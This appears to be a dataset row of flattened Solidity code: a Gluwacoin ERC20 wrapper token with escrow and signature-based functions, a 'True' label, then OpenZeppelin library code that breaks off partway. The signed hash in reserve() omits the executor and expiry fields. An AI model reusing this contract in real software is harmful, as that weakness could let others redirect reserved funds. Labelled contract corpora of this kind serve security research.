*/
function _collect(address sender, uint256 amount) internal {
address relayer = getRoleMember(RELAYER_ROLE, 0);
_transfer(sender, relayer, amount);
}
uint256[50] private __gap;
}
// File: contracts/abstracts/ERC20Reservable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Extension of {ERC20} that allows users to escrow a transfer. When the fund is reserved, the sender designates
* an `executor` of the `reserve`. The `executor` can `release` the fund to the pre-defined `recipient` and collect
* a `fee`. If the `reserve` gets expired without getting executed, the `sender` or the `executor` can `reclaim`
* the fund back to the `sender`.
*/
abstract contract ERC20Reservable is Initializable, ERC20UpgradeSafe {
using SafeMath for uint256;
using Address for address;
enum ReservationStatus {
Active,
Reclaimed,
Completed
}
struct Reservation {
uint256 _amount;
uint256 _fee;
address _recipient;
address _executor;
uint256 _expiryBlockNum;
ReservationStatus _status;
}
// Address mapping to mapping of nonce to amount and expiry for that nonce.
mapping (address => mapping(uint256 => Reservation)) private _reserved;
// Total amount of reserved balance for address
mapping (address => uint256) private _totalReserved;
function __ERC20Reservable_init(string memory name, string memory symbol) internal
initializer {
__ERC20_init_unchained(name, symbol);
__ERC20Reservable_init_unchained();
}
function __ERC20Reservable_init_unchained() internal initializer {
}
function getReservation(address sender, uint256 nonce) external view
returns (
uint256 amount,
uint256 fee,
address recipient,
address executor,
uint256 expiryBlockNum
)
{
Reservation memory reservation = _reserved[sender][nonce];
amount = reservation._amount;
fee = reservation._fee;
recipient = reservation._recipient;
executor = reservation._executor;
expiryBlockNum = reservation._expiryBlockNum;
}
function reservedBalanceOf(address account) external view returns (uint256 amount) {
return balanceOf(account).sub(_unreservedBalance(account));
}
function unreservedBalanceOf(address account) external view returns (uint256 amount) {
return _unreservedBalance(account);
}
function reserve(
address sender,
address recipient,
address executor,
uint256 amount,
uint256 fee,
uint256 nonce,
uint256 expiryBlockNum,
bytes calldata sig
)
external returns (bool success)
{
require(_reserved[sender][nonce]._expiryBlockNum == 0, "ERC20Reservable: the sender used the nonce already");
require(expiryBlockNum > block.number, "ERC20Reservable: invalid block expiry number");
require(executor != address(0), "ERC20Reservable: cannot execute from zero address");
uint256 total = amount.add(fee);
require(_unreservedBalance(sender) >= total, "ERC20Reservable: insufficient unreserved balance");
bytes32 hash = keccak256(abi.encodePacked(address(this), sender, recipient, amount, fee, nonce));
Validate.validateSignature(hash, sender, sig);
_reserved[sender][nonce] = Reservation(amount, fee, recipient, executor, expiryBlockNum,
ReservationStatus.Active);
_totalReserved[sender] = _totalReserved[sender].add(total);
return true;
}
function execute(address sender, uint256 nonce) external returns (bool success) {
Reservation storage reservation = _reserved[sender][nonce];
require(reservation._expiryBlockNum != 0, "ERC20Reservable: reservation does not exist");
require(_msgSender() == sender || _msgSender() == reservation._executor,
"ERC20Reservable: this address is not authorized to execute this reservation");
require(reservation._expiryBlockNum > block.number,
"ERC20Reservable: reservation has expired and cannot be executed");
require(reservation._status == ReservationStatus.Active,
"ERC20Reservable: invalid reservation status to execute");
address executor = reservation._executor;
address recipient = reservation._recipient;
uint256 fee = reservation._fee;
uint256 amount = reservation._amount;
uint256 total = amount.add(fee);
_reserved[sender][nonce]._status = ReservationStatus.Completed;
_totalReserved[sender] = _totalReserved[sender].sub(total);
_transfer(sender, executor, fee);
_transfer(sender, recipient, amount);
return true;
}
function reclaim(address sender, uint256 nonce) external returns (bool success) {
Reservation storage reservation = _reserved[sender][nonce];
require(reservation._expiryBlockNum != 0, "ERC20Reservable: reservation does not exist");
require(_msgSender() == sender || _msgSender() == reservation._executor,
"ERC20Reservable: only the sender or the executor can reclaim the reservation back to the sender");
require(reservation._expiryBlockNum <= block.number || _msgSender() == reservation._executor,
"ERC20Reservable: reservation has not expired or you are not the executor and cannot be reclaimed");
require(reservation._status == ReservationStatus.Active,
"ERC20Reservable: invalid reservation status to reclaim");
_reserved[sender][nonce]._status = ReservationStatus.Reclaimed;
_totalReserved[sender] = _totalReserved[sender].sub(reservation._amount).sub(reservation._fee);
return true;
}
function _unreservedBalance(address sender) internal view returns (uint256 amount) {
return balanceOf(sender).sub(_totalReserved[sender]);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override (ERC20UpgradeSafe) {
if (from != address(0)) {
require(_unreservedBalance(from) >= amount, "ERC20Reservable: transfer amount exceeds unreserved balance");
}
super._beforeTokenTransfer(from, to, amount);
}
uint256[44] private __gap;
}
// File: contracts/abstracts/ERC20Wrapper.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Extension of {ERC20} that allows a certain ERC20 token holders to wrap the token to mint this token.
* Holder of this token can retrieve the wrapped token by burning this token.
*/
abstract contract ERC20Wrapper is Initializable, AccessControlUpgradeSafe, ERC20UpgradeSafe {
using SafeMath for uint256;
using Address for address;
// base token, the token to be wrapped
IERC20 private _token;
mapping (address => mapping (uint256 => bool)) private _usedNonces;
// collects mint/burn relay fee
bytes32 public constant WRAPPER_ROLE = keccak256("WRAPPER_ROLE");
event Mint(address indexed _mintTo, uint256 _value);
event Burnt(address indexed _burnFrom, uint256 _value);
function __ERC20Wrapper_init(string memory name, string memory symbol, uint8 decimals, IERC20 token) internal
initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Wrapper_init_unchained(decimals, token);
}
function __ERC20Wrapper_init_unchained(uint8 decimals, IERC20 token) internal virtual initializer {
_setupDecimals(decimals);
_setupToken(token);
_setupRole(WRAPPER_ROLE, _msgSender());
}
/**
* @dev Returns the address of the base token.
*/
function token() external view returns (IERC20) {
return _token;
}
/**
* @dev Creates `amount` tokens to the caller, transferring base tokens from the caller to the contract.
*
* See {ERC20-_mint} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have base tokens of at least `amount`.
* - the contract must have allowance for caller's base tokens of at least
* `amount`.
*/
function mint(uint256 amount) external {
__mint(_msgSender(), amount);
}
/**
* @dev `mint` but with `minter`, `fee`, `nonce`, and `sig` as extra parameters.
* `fee` is a mint fee amount in Gluwacoin, which the minter will pay for the mint.
* `sig` is a signature created by signing the mint information with the minter’s private key.
* Anyone can initiate the mint for the minter by calling the Etherless Mint function
* with the mint information and the signature.
* The caller will have to pay the gas for calling the function.
*
* Transfers `amount` + `fee` of base tokens from the minter to the contract using `transferFrom`.
* Creates `amount` + `fee` of tokens to the minter and transfers `fee` tokens to the caller.
*
* See {ERC20-_mint} and {ERC20-allowance}.
*
* Requirements:
*
* - the minter must have base tokens of at least `amount` + `fee`.
* - the contract must have allowance for receiver's base tokens of at least `amount` + `fee`.
*/
function mint(address minter, uint256 amount, uint256 fee, uint256 nonce, bytes calldata sig) external
{
_useWrapperNonce(minter, nonce);
bytes32 hash = keccak256(abi.encodePacked(address(this), minter, amount, fee, nonce));
Validate.validateSignature(hash, minter, sig);
__mint(minter, amount);
address wrapper = getRoleMember(WRAPPER_ROLE, 0);
_transfer(minter, wrapper, fee);
}
/**
* @dev Destroys `amount` tokens from the caller, transferring base tokens from the contract to the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) external {
__burn(_msgSender(), amount);
}
/**
* @dev `burn` but with `burner`, `fee`, `nonce`, and `sig` as extra parameters.
* `fee` is a burn fee amount in Gluwacoin, which the burner will pay for the burn.
* `sig` is a signature created by signing the burn information with the burner’s private key.
* Anyone can initiate the burn for the burner by calling the Etherless Burn function
* with the burn information and the signature.
* The caller will have to pay the gas for calling the function.
*
* Destroys `amount` + `fee` tokens from the burner.
* Transfers `amount` of base tokens from the contract to the burner and `fee` of base token to the caller.
*
* See {ERC20-_burn}.
*
* Requirements:
*
* - the burner must have tokens of at least `amount`, the `fee` is included in the amount.
*/
function burn(address burner, uint256 amount, uint256 fee, uint256 nonce, bytes memory sig) public
{
uint256 burnerBalance = balanceOf(burner);
require(burnerBalance >= amount, "ERC20Wrapper: burn amount exceed balance");
_useWrapperNonce(burner, nonce);
bytes32 hash = keccak256(abi.encodePacked(address(this), burner, amount, fee, nonce));
Validate.validateSignature(hash, burner, sig);
address wrapper = getRoleMember(WRAPPER_ROLE, 0);
_transfer(burner, wrapper, fee);
__burn(burner, amount.sub(fee));
}
function __mint(address account, uint256 amount) internal {
require(_token.transferFrom(account, address(this), amount), "ERC20Wrapper: could not deposit base tokens");
emit Mint(account, amount);
_mint(account, amount);
}
function __burn(address account, uint256 amount) internal {
require(_token.transfer(account, amount), "ERC20Wrapper: could not withdraw base tokens");
emit Burnt(account, amount);
_burn(account, amount);
}
/**
* @dev Sets {token} as the base token.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {token} to ever change, and may work incorrectly if it does.
*/
function _setupToken(IERC20 token_) internal {
_token = token_;
}
/* @dev Uses `nonce` for the signer.
*/
function _useWrapperNonce(address signer, uint256 nonce) private {
require(!_usedNonces[signer][nonce], "ERC20Wrapper: the nonce has already been used for this address");
_usedNonces[signer][nonce] = true;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override (ERC20UpgradeSafe) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[44] private __gap;
}
// File: contracts/ERC20WrapperGluwacoin.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Extension of {Gluwacoin} that allows a certain ERC20 token holders to wrap the token to mint this token.
* Holder of this token can retrieve the wrapped token by burning this token.
*/
contract ERC20WrapperGluwacoin is Initializable, ContextUpgradeSafe, ERC20Wrapper, ERC20ETHless, ERC20Reservable {
// note that `decimals` must match that of `token` or less
function initialize(string memory name, string memory symbol, uint8 decimals, IERC20 token) public virtual {
__ERC20WrapperGluwacoin_init(name, symbol, decimals, token);
}
function __ERC20WrapperGluwacoin_init(string memory name, string memory symbol, uint8 decimals, IERC20 token)
internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20ETHless_init_unchained();
__ERC20Reservable_init_unchained();
__ERC20Wrapper_init_unchained(decimals, token);
__ERC20WrapperGluwacoin_init_unchained();
}
function __ERC20WrapperGluwacoin_init_unchained() internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override (ERC20UpgradeSafe, ERC20Wrapper, ERC20Reservable) {
ERC20Wrapper._beforeTokenTransfer(from, to, amount);
}
uint256[44] private __gap;
} | True | [
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// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(
value
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
require(
set._values.length > index,
"EnumerableSet: index out of bounds"
);
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index)
internal
view
returns (uint256)
{
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
